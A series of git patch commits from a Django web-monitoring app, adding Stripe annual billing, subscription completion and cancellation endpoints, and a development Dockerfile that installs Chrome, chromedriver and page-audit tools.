         stripe.api_key = settings.STRIPE_PRIVATE
         user = request.user
         name = request.data.get('name')
+        interval = request.data.get('interval') # month or year
         product_name = str(user.email + '_' + str(user.id) + '_' + name)
         price_amount = int(request.data.get('price_amount'))
         max_sites = int(request.data.get('max_sites'))
@@ -258,7 +167,7 @@ def post(self, request):
             product=product.id,
             unit_amount=price_amount,
             currency='usd',
-            recurring={'interval': 'month',},
+            recurring={'interval': interval,},
         )
 
         if account.sub_id is None:
@@ -315,6 +224,105 @@ def post(self, request):
 
 
 
+
+
+class CompleteSubscription(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post',]
+
+    def post(self, request):  
+        stripe.api_key = settings.STRIPE_PRIVATE
+        account = Account.objects.get(user=request.user)
+        pay_method_id = request.data['payment_method']
+        if Card.objects.filter(account=account).exists():
+            pay_method = stripe.PaymentMethod.retrieve(pay_method_id)
+
+            stripe.PaymentMethod.attach(
+                pay_method_id,
+                customer=account.cust_id,
+            )
+
+            stripe.Customer.modify(
+                account.cust_id,
+                invoice_settings={
+                    'default_payment_method': pay_method.id,
+                }
+            )
+
+            stripe.Subscription.modify(
+                account.sub_id,
+                default_payment_method=pay_method.id
+            )
+            
+            Card.objects.filter(account=account).update(
+                user = request.user,
+                account = account,
+                pay_method_id = pay_method.id,
+                brand = pay_method.card.brand,
+                exp_year = pay_method.card.exp_year,
+                exp_month = pay_method.card.exp_month,
+                last_four = pay_method.card.last4
+            )
+
+        else:
+            pay_method = stripe.PaymentMethod.retrieve(pay_method_id)
+
+            stripe.Subscription.modify(
+                account.sub_id,
+                default_payment_method=pay_method.id
+            )
+
+            Card.objects.create(
+                user = request.user,
+                account = account,
+                pay_method_id = pay_method.id,
+                brand = pay_method.card.brand,
+                exp_year = pay_method.card.exp_year,
+                exp_month = pay_method.card.exp_month,
+                last_four = pay_method.card.last4
+                
+            )
+        
+
+        card = Card.objects.get(account=account)
+        account.active = True
+        account.save()
+
+        data = {
+            'card': {
+                'brand': card.brand,
+                'exp_year': card.exp_year,
+                'exp_month': card.exp_month,
+                'last_four': card.last_four,
+            },
+            'plan': {
+                'name': account.type,
+                'active': account.active,
+                'price_amount': account.price_amount,
+                'max_sites': account.max_sites,
+                'max_pages': account.max_pages,
+                'max_schedules': account.max_schedules,
+                'retention_days': account.retention_days,
+                'testcases': account.testcases,
+                'slack': {
+                    'slack_name': account.slack['slack_name'], 
+                    'bot_user_id': account.slack['bot_user_id'], 
+                    'slack_team_id': account.slack['slack_team_id'], 
+                    'bot_access_token': account.slack['bot_access_token'], 
+                    'slack_channel_id': account.slack['slack_channel_id'], 
+                    'slack_channel_name': account.slack['slack_channel_name'],
+                }
+            },
+        }
+
+
+        return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+
+
 class GetBillingInfo(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]

From ff409d99356f24a684dedfa64878056513f18c0d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 5 Mar 2024 08:33:47 -0700
Subject: [PATCH 0261/1099] adding annual billing

---
 app/api/models.py           | 2 ++
 app/api/v1/billing/views.py | 5 +++++
 2 files changed, 7 insertions(+)

diff --git a/app/api/models.py b/app/api/models.py
index f6d9f2ad..e2e67e1a 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -256,7 +256,9 @@ class Account(models.Model):
     product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     price_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     price_amount = models.IntegerField(serialize=True, null=True, blank=True, default=0)
+    interval = models.CharField(max_length=50, serialize=True, null=True, blank=True, default='month')
     slack = models.JSONField(serialize=True, null=True, blank=True, default=get_slack_default)
+    meta = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
         return self.user.email
diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 26fb63aa..e34c8148 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -146,6 +146,7 @@ def post(self, request):
             create_or_update_account(
                 user=user,
                 type=name,
+                interval=interval,
                 max_sites=max_sites,
                 max_pages=max_pages,
                 max_schedules=max_schedules,
@@ -205,6 +206,7 @@ def post(self, request):
             sub_id = subscription.id,
             product_id = product.id,
             price_id = price.id,
+            interval = interval,
             max_sites = max_sites,
             max_pages = max_pages,
             price_amount = price_amount,
@@ -299,6 +301,7 @@ def post(self, request):
                 'name': account.type,
                 'active': account.active,
                 'price_amount': account.price_amount,
+                'interval': account.interval,
                 'max_sites': account.max_sites,
                 'max_pages': account.max_pages,
                 'max_schedules': account.max_schedules,
@@ -348,6 +351,7 @@ def post(self, request):
                     'name': account.type,
                     'active': account.active,
                     'price_amount': account.price_amount,
+                    'interval': account.interval,
                     'max_sites': account.max_sites,
                     'max_pages': account.max_pages,
                     'max_schedules': account.max_schedules,
@@ -411,6 +415,7 @@ def post(self, request):
                     'name': account.type,
                     'active': account.active,
                     'price_amount': account.price_amount,
+                    'interval': account.interval,
                     'max_sites': account.max_sites,
                     'max_pages': account.max_pages,
                     'max_schedules': account.max_schedules,

From 6c45d028af59abae330c35af3721332ce5bfd021 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 5 Mar 2024 10:56:54 -0700
Subject: [PATCH 0262/1099] added dynamic debuging

---
 app/scanerr/settings.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 82789eb0..c1fd4878 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -21,7 +21,7 @@
 SECRET_KEY = os.environ.get('SECRET_KEY')
 
 # SECURITY WARNING: don't run with debug turned on in production!
-DEBUG = False
+DEBUG = True if os.environ.get('DEBUG') == 'True' else False
 
 ALLOWED_HOSTS = ['*']
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')

From f958101962afa5f1f06029a12baaa8033fd7284e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 5 Mar 2024 11:08:56 -0700
Subject: [PATCH 0263/1099] fixing testcases param

---
 app/api/v1/billing/views.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index e34c8148..b9ede5af 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -137,9 +137,9 @@ def post(self, request):
         retention_days = int(request.data.get('retention_days'))
         testcases = str(request.data.get('testcases', False))
 
-        if testcases.lower() == 'true':
+        if str(testcases).lower() == 'true':
             testcases = True
-        if testcases.lower() == 'false':
+        if str(testcases).lower() == 'false':
             testcases = False
 
         if not Account.objects.filter(user=user).exists():

From c86dec1c4925e1bdc096cb5c68f27ce59e97020e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 5 Mar 2024 11:27:21 -0700
Subject: [PATCH 0264/1099] fixing client_secret issue

---
 app/api/v1/billing/views.py | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index b9ede5af..1859dc4f 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -136,6 +136,8 @@ def post(self, request):
         max_schedules = int(request.data.get('max_schedules'))
         retention_days = int(request.data.get('retention_days'))
         testcases = str(request.data.get('testcases', False))
+        initial_call = True
+        client_secret = None
 
         if str(testcases).lower() == 'true':
             testcases = True
@@ -161,6 +163,7 @@ def post(self, request):
             customer = stripe.Customer.create(email=request.user.email)
 
         if account.cust_id is not None:
+            initial_call = False
             product = stripe.Product.modify(account.product_id, name=product_name)
             customer = stripe.Customer.retrieve(account.cust_id)
 
@@ -215,12 +218,14 @@ def post(self, request):
             testcases = testcases
         )        
 
+        if initial_call:
+            client_secret = subscription.latest_invoice.payment_intent.client_secret
+        
         data = {
             'subscription_id' : subscription.id,
-            'client_secret' : subscription.latest_invoice.payment_intent.client_secret,
+            'client_secret' : client_secret,
         }
 
-
         return Response(data, status=status.HTTP_200_OK)
 
 

From 22d6bb8e850cb8706cb47a72f64103ee4b55077f Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 5 Mar 2024 13:02:39 -0700
Subject: [PATCH 0265/1099] updated invoices

---
 app/api/v1/billing/views.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 1859dc4f..99573c73 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -462,7 +462,7 @@ def get(self, request):
                 obj = {
                     'id': invoice.id,
                     'status': invoice.status,
-                    'price_amount': invoice.lines.data[0]['price']['unit_amount'],
+                    'price_amount': invoice.amount_paid,
                     'created': invoice.created
                 }
                 i_list.append(obj)

From 506da1189837bcba16a15e86cfa6ff4bbdbc1465 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 5 Mar 2024 13:06:05 -0700
Subject: [PATCH 0266/1099] added name to customer creation

---
 app/api/v1/billing/views.py | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 99573c73..11886c6f 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -160,7 +160,10 @@ def post(self, request):
         
         if account.cust_id is None:
             product = stripe.Product.create(name=product_name)
-            customer = stripe.Customer.create(email=request.user.email)
+            customer = stripe.Customer.create(
+                email=request.user.email,
+                name=f'{user.first_name} {user.last_name}'
+            )
 
         if account.cust_id is not None:
             initial_call = False

From 460b3518ed651e7da06ba7a7e6ac90071dbeafee Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 5 Mar 2024 14:49:56 -0700
Subject: [PATCH 0267/1099] added subscription cancelation

---
 app/api/v1/billing/urls.py  |  1 +
 app/api/v1/billing/views.py | 75 ++++++++++++++++++++++++++++++++++++-
 2 files changed, 75 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/billing/urls.py b/app/api/v1/billing/urls.py
index e8250160..00933aa8 100644
--- a/app/api/v1/billing/urls.py
+++ b/app/api/v1/billing/urls.py
@@ -11,6 +11,7 @@
     path('create-subscription', views.CreateSubscription.as_view(), name='create_subscription'),
     path('setup-subscription', views.SetupSubscription.as_view(), name='setup_subscription'),
     path('complete-subscription', views.CompleteSubscription.as_view(), name='complete_subscription'),
+    path('cancel-subscription', views.CancelSubscription.as_view(), name='cancel_subscription'),
     path('stripe-key', views.StripeKey.as_view(), name='stripe_key'),
     path('get-info', views.GetBillingInfo.as_view(), name='get_billing_info'),
     path('get-invoices', views.StripeInvoice.as_view(), name='stripe_invoices'),
diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 11886c6f..4990c334 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -5,7 +5,8 @@
 from django.contrib.auth.models import User
 from django.core import serializers
 from django.forms.models import model_to_dict
-from ...models import Account, Card
+from ...models import Account, Card, Site
+from ..ops.services import delete_site
 from ..auth.services import create_or_update_account
 from datetime import timedelta, datetime
 from scanerr import settings
@@ -446,6 +447,78 @@ def post(self, request):
 
 
 
+
+class CancelSubscription(APIView):
+    permission_classes = (IsAuthenticated,)
+    https_method_names = ['post',]
+
+    def post(self, request):
+        account = Account.objects.get(user=request.user)
+        stripe.api_key = settings.STRIPE_PRIVATE
+
+        if account.active == True:
+            stripe.Subscription.modify(
+                account.sub_id,
+                pause_collection={
+                    'behavior': 'mark_uncollectible',
+                    },
+            )
+            account.type = 'free'
+            account.max_sites = 1
+            account.max_schedules = 0
+            account.max_pages = 1
+            account.retention_days = '3'
+            account.interval = 'month'
+            account.price_amount = 0
+            account.testcases = False
+            account.save()
+        
+        # remove sites
+        sites = Site.objects.filter(account=account)
+        site_count = len(sites)
+        for site in sites:
+            if site_count > 1:
+                delete_site(request=request, id=site.id)
+            site_count -= 1
+
+        card = Card.objects.get(account=account)
+
+        data = {
+                'card': {
+                    'brand': card.brand,
+                    'exp_year': card.exp_year,
+                    'exp_month': card.exp_month,
+                    'last_four': card.last_four,
+                },
+                'plan': {
+                    'name': account.type,
+                    'active': account.active,
+                    'price_amount': account.price_amount,
+                    'interval': account.interval,
+                    'max_sites': account.max_sites,
+                    'max_pages': account.max_pages,
+                    'max_schedules': account.max_schedules,
+                    'retention_days': account.retention_days,
+                    'testcases': account.testcases,
+                    'slack': {
+                        'slack_name': account.slack['slack_name'], 
+                        'bot_user_id': account.slack['bot_user_id'], 
+                        'slack_team_id': account.slack['slack_team_id'], 
+                        'bot_access_token': account.slack['bot_access_token'], 
+                        'slack_channel_id': account.slack['slack_channel_id'], 
+                        'slack_channel_name': account.slack['slack_channel_name'],
+                    }
+                },
+            }
+
+        return Response(data, status=status.HTTP_200_OK)
+        
+
+
+
+
+
+
 class StripeInvoice(APIView):
     permission_classes = (IsAuthenticated,)
     https_method_names = ['get',]

From ae9c128c0440798618a5ccaadd91629236d3e15f Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 5 Mar 2024 14:52:50 -0700
Subject: [PATCH 0268/1099] removed single site save

---
 app/api/v1/billing/views.py | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 4990c334..e73bd6c8 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -475,11 +475,9 @@ def post(self, request):
         
         # remove sites
         sites = Site.objects.filter(account=account)
-        site_count = len(sites)
+        # site_count = len(sites)
         for site in sites:
-            if site_count > 1:
-                delete_site(request=request, id=site.id)
-            site_count -= 1
+            delete_site(request=request, id=site.id)
 
         card = Card.objects.get(account=account)
 

From 56174f50d1ae5d55995be3fe5266d5136c6130eb Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 11:33:08 -0700
Subject: [PATCH 0269/1099] testing ubuntu image

---
 Dockerfile.dev             | 75 ++++++++++++++++++++++++++++++++++++++
 app/api/utils/yellowlab.py |  1 +
 docker-compose.dev.yml     |  4 +-
 3 files changed, 78 insertions(+), 2 deletions(-)
 create mode 100644 Dockerfile.dev

diff --git a/Dockerfile.dev b/Dockerfile.dev
new file mode 100644
index 00000000..a7a551f3
--- /dev/null
+++ b/Dockerfile.dev
@@ -0,0 +1,75 @@
+FROM ubuntu:latest
+ENV PYTHONUNBUFFERED 1
+
+# increasing allocated memory to node
+ENV NODE_OPTIONS=--max_old_space_size=2000
+ENV NODE_OPTIONS="--max-old-space-size=2000"
+ENV GENERATE_SOURCEMAP=false
+
+# trying to get latest version of chromedriver
+ENV CHROME_DRIVER_VERSION="curl -sS chromedriver.storage.googleapis.com/LATEST_RELEASE"
+
+# telling Puppeteer to skip installing Chrome
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
+
+# telling phantomas where Chromium binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
+ENV DOCKERIZED yes
+
+# create the app user
+RUN addgroup --system app && adduser --system app 
+
+# installing python3 & pip
+RUN apt-get update && apt-get install -y python3 python3-pip
+
+# installing system deps (chromium-driver)
+RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
+    gfortran openssl libpq-dev curl libjpeg-dev chromium-browser \ 
+    libfontconfig wget
+
+# install chromedriver
+RUN wget -N http://chromedriver.storage.googleapis.com/$CHROME_DRIVER_VERSION/chromedriver_linux64.zip -P ~/ && \
+    unzip ~/chromedriver_linux64.zip -d ~/ && \
+    rm ~/chromedriver_linux64.zip && \
+    sudo mv -f ~/chromedriver /usr/local/bin/chromedriver
+
+# installing yellowlab-specific system deps
+RUN apt-get update && apt-get install -y libfreetype6 git  \ 
+    libatk-bridge2.0-0 gconf-service libasound2 make \ 
+    libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
+    libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
+    libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
+    libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 \ 
+    libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
+    libnss3 lsb-release libgbm1 xdg-utils wget -y --force-yes > /dev/null 2>&1
+
+# installing node and npm --> n lts
+RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
+    && npm install -g n \
+    && n lts
+
+# cleaning npm
+RUN npm cache clean --force
+
+# installing lighthouse & yellowlabtools
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
+
+# setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
+RUN chromium --no-sandbox --version
+RUN chromium --disable-dev-shm-usage  --version
+
+# installing requirements
+COPY ./requirements.txt /requirements.txt
+RUN python3 -m pip install -r /requirements.txt
+
+# setting working dir
+RUN mkdir /app
+COPY ./app /app
+WORKDIR /app
+
+# setting ownership
+RUN chown -R app:app /app
+RUN chown -R app:app /usr/bin/chromium
+
+# removing chromium config
+RUN rm -rf ~/.config/chromium
\ No newline at end of file
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index daadaf91..eda3eaa5 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -221,6 +221,7 @@ def get_data(self):
         
         # try API method if CLI fails
         except Exception as e:
+            print(e)
             print(f'YELLOWLAB CLI FAILED, Trying API...')
 
             try:
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 5752627a..d79ecee1 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -7,7 +7,7 @@ services:
     init: true
     build:
       context: .
-      dockerfile: Dockerfile
+      dockerfile: Dockerfile.dev
     volumes:
       - ./app:/app
       - static_volume:/app/static
@@ -49,7 +49,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile
+      dockerfile: Dockerfile.dev
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:
       - ./app:/scanerr

From f546a84da994bd58f566b5dc05adab88a873757c Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 11:38:47 -0700
Subject: [PATCH 0270/1099] added noninteractive

---
 Dockerfile.dev | 1 +
 1 file changed, 1 insertion(+)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index a7a551f3..cfbbe898 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -1,5 +1,6 @@
 FROM ubuntu:latest
 ENV PYTHONUNBUFFERED 1
+ENV DEBIAN_FRONTEND noninteractive
 
 # increasing allocated memory to node
 ENV NODE_OPTIONS=--max_old_space_size=2000

From 1608a68f78023244ad1c9d376f83bdc7aa762bf7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 11:40:30 -0700
Subject: [PATCH 0271/1099] added temp Docker.dev to watchlist

---
 .github/workflows/dev-deploy.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
index bc257dd8..9de39732 100644
--- a/.github/workflows/dev-deploy.yaml
+++ b/.github/workflows/dev-deploy.yaml
@@ -9,6 +9,7 @@ on:
     paths:
       - 'app/**'
       - 'Dockerfile'
+      - 'Dockerfile.dev'
       - 'docker-compose.dev.yml'
       - '.github/workflows/**'
 

From 804f37849ff2b8b8ec769122d080496d8d889ef7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 11:49:58 -0700
Subject: [PATCH 0272/1099] testing

---
 Dockerfile.dev | 12 +++++-------
 1 file changed, 5 insertions(+), 7 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index cfbbe898..e859c595 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -3,12 +3,9 @@ ENV PYTHONUNBUFFERED 1
 ENV DEBIAN_FRONTEND noninteractive
 
 # increasing allocated memory to node
-ENV NODE_OPTIONS=--max_old_space_size=2000
-ENV NODE_OPTIONS="--max-old-space-size=2000"
-ENV GENERATE_SOURCEMAP=false
-
-# trying to get latest version of chromedriver
-ENV CHROME_DRIVER_VERSION="curl -sS chromedriver.storage.googleapis.com/LATEST_RELEASE"
+ENV NODE_OPTIONS --max_old_space_size=2000
+ENV NODE_OPTIONS "--max-old-space-size=2000"
+ENV GENERATE_SOURCEMAP false
 
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
@@ -29,7 +26,8 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     libfontconfig wget
 
 # install chromedriver
-RUN wget -N http://chromedriver.storage.googleapis.com/$CHROME_DRIVER_VERSION/chromedriver_linux64.zip -P ~/ && \
+RUN CHROME_DRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE") && \
+    wget -N http://chromedriver.storage.googleapis.com/$CHROME_DRIVER_VERSION/chromedriver_linux64.zip -P ~/ && \
     unzip ~/chromedriver_linux64.zip -d ~/ && \
     rm ~/chromedriver_linux64.zip && \
     sudo mv -f ~/chromedriver /usr/local/bin/chromedriver

From 38e56c8454759ffd0323d269728c2bf77c5165a5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 11:55:28 -0700
Subject: [PATCH 0273/1099] testing

---
 Dockerfile.dev | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index e859c595..f3036624 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -23,14 +23,14 @@ RUN apt-get update && apt-get install -y python3 python3-pip
 # installing system deps (chromium-driver)
 RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev chromium-browser \ 
-    libfontconfig wget
+    libfontconfig wget unzip
 
 # install chromedriver
 RUN CHROME_DRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE") && \
     wget -N http://chromedriver.storage.googleapis.com/$CHROME_DRIVER_VERSION/chromedriver_linux64.zip -P ~/ && \
     unzip ~/chromedriver_linux64.zip -d ~/ && \
     rm ~/chromedriver_linux64.zip && \
-    sudo mv -f ~/chromedriver /usr/local/bin/chromedriver
+    mv -f ~/chromedriver /usr/local/bin/chromedriver
 
 # installing yellowlab-specific system deps
 RUN apt-get update && apt-get install -y libfreetype6 git  \ 

From 779472f8345b7d7425f8f34ef1a7f5be1384ca7e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 12:21:32 -0700
Subject: [PATCH 0274/1099] testing

---
 Dockerfile.dev | 34 +++++++++++++++++++++-------------
 1 file changed, 21 insertions(+), 13 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index f3036624..145d04ff 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -10,8 +10,8 @@ ENV GENERATE_SOURCEMAP false
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 
-# telling phantomas where Chromium binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
+# telling phantomas where Chrome binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome
 ENV DOCKERIZED yes
 
 # create the app user
@@ -20,17 +20,25 @@ RUN addgroup --system app && adduser --system app
 # installing python3 & pip
 RUN apt-get update && apt-get install -y python3 python3-pip
 
-# installing system deps (chromium-driver)
+# installing system deps (chromium-driver chromium-browser)
 RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
-    gfortran openssl libpq-dev curl libjpeg-dev chromium-browser \ 
-    libfontconfig wget unzip
+    gfortran openssl libpq-dev curl libjpeg-dev \ 
+    libfontconfig wget unzip gnupg
+
+# installing google-chrome-stable
+RUN wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
+    gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
+    chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
+    echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
+    apt-get update -y; \
+    apt-get install -y google-chrome-stable;
 
 # install chromedriver
 RUN CHROME_DRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE") && \
     wget -N http://chromedriver.storage.googleapis.com/$CHROME_DRIVER_VERSION/chromedriver_linux64.zip -P ~/ && \
     unzip ~/chromedriver_linux64.zip -d ~/ && \
     rm ~/chromedriver_linux64.zip && \
-    mv -f ~/chromedriver /usr/local/bin/chromedriver
+    mv -f ~/chromedriver /usr/bin/chromedriver
 
 # installing yellowlab-specific system deps
 RUN apt-get update && apt-get install -y libfreetype6 git  \ 
@@ -43,9 +51,9 @@ RUN apt-get update && apt-get install -y libfreetype6 git  \
     libnss3 lsb-release libgbm1 xdg-utils wget -y --force-yes > /dev/null 2>&1
 
 # installing node and npm --> n lts
-RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
-    && npm install -g n \
-    && n lts
+RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends && \
+    npm install -g n && \
+    n lts
 
 # cleaning npm
 RUN npm cache clean --force
@@ -54,8 +62,8 @@ RUN npm cache clean --force
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
 
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
-RUN chromium --no-sandbox --version
-RUN chromium --disable-dev-shm-usage  --version
+RUN google-chrome --no-sandbox --version
+RUN google-chrome --disable-dev-shm-usage --version
 
 # installing requirements
 COPY ./requirements.txt /requirements.txt
@@ -68,7 +76,7 @@ WORKDIR /app
 
 # setting ownership
 RUN chown -R app:app /app
-RUN chown -R app:app /usr/bin/chromium
+RUN chown -R app:app /usr/bin/google-chrome
 
 # removing chromium config
-RUN rm -rf ~/.config/chromium
\ No newline at end of file
+# RUN rm -rf ~/.config/chromium
\ No newline at end of file

From 3fd61eaceaa811184aabc4d2a2dfa7cc3de8d996 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 12:27:18 -0700
Subject: [PATCH 0275/1099] removed duplicate context param

---
 docker-compose.dev.yml | 2 --
 1 file changed, 2 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index d79ecee1..67696f59 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -6,7 +6,6 @@ services:
     privileged: true
     init: true
     build:
-      context: .
       dockerfile: Dockerfile.dev
     volumes:
       - ./app:/app
@@ -48,7 +47,6 @@ services:
     privileged: true
     restart: always
     build:
-      context: .
       dockerfile: Dockerfile.dev
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:

From d86aacf545ecaf4848b184b4efba91fb629fec2d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 12:39:01 -0700
Subject: [PATCH 0276/1099] fixing version confliction issues

---
 Dockerfile.dev | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index 145d04ff..be69a98a 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
@@ -25,16 +25,15 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev \ 
     libfontconfig wget unzip gnupg
 
-# installing google-chrome-stable
+# installing google-chrome-stable & chromedriver
 RUN wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
     gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
     chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
     echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
     apt-get update -y; \
-    apt-get install -y google-chrome-stable;
-
-# install chromedriver
-RUN CHROME_DRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE") && \
+    apt-get install -y google-chrome-stable && \
+    CHROME_VERSION=$(google-chrome --product-version | grep -o "[^\.]*\.[^\.]*\.[^\.]*") && \
+    CHROME_DRIVER_VERSION=$(curl -s "https://chromedriver.storage.googleapis.com/LATEST_RELEASE_$CHROME_VERSION") && \
     wget -N http://chromedriver.storage.googleapis.com/$CHROME_DRIVER_VERSION/chromedriver_linux64.zip -P ~/ && \
     unzip ~/chromedriver_linux64.zip -d ~/ && \
     rm ~/chromedriver_linux64.zip && \

From 6492ee0fee9e98e49ba78afaeb0436e2e92704f7 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 7 Mar 2024 12:51:20 -0700
Subject: [PATCH 0277/1099] testing

---
 Dockerfile.dev | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile.dev b/Dockerfile.dev
index be69a98a..ffea9e53 100644
--- a/Dockerfile.dev
+++ b/Dockerfile.dev
